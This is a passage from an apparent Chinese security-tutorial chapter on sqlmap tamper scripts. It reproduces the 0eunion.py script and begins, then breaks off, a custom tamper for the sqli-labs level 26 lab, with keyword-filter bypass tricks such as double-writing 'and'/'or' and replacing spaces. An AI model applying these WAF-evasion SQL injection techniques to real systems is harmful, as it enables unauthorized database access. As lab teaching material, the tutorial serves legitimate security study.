python安全攻防第五章SQLMap的Tamper脚本

Tamper简介

sqlmap的tamper一般用来绕过waf进行sql注入，脚本在tamper目录下。

以0eunion.py为例

#!/usr/bin/env python

"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import re

from lib.core.enums import PRIORITY
#导入脚本调用优先级模块

__priority__ = PRIORITY.HIGHEST
#优先级为最高

def dependencies():		#声明脚本的适用范围，pass为空
    pass

def tamper(payload, **kwargs):		#构建tamper的主函数，kwargs很少使用，用于更改headers
    """
    Replaces instances of <int> UNION with <int>e0UNION

    Requirement:
        * MySQL
        * MsSQL

    Notes:
        * Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf

    >>> tamper('1 UNION ALL SELECT')
    '1e0UNION ALL SELECT'
    """

    return re.sub(r"(\d+)\s+(UNION )", r"\g<1>e0\g<2>", payload, re.I) if payload else payload
    #用正则转换payload

5.4.2Tamper脚本的编写

基于sqli-labs第26关

1.查看过滤函数
黑名单函数过滤了or,and,/*,–,#,空格，和/
1.可以使用双写绕过，anand,oorr
2.用%a代替空格

1.双写绕过

#!/usr/bin/env python

"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST


def dependencies():
    pass


def tamper(payload, **kwargs):
    # 将payload进行转存
    retVal = payload
    if payload:
        retVal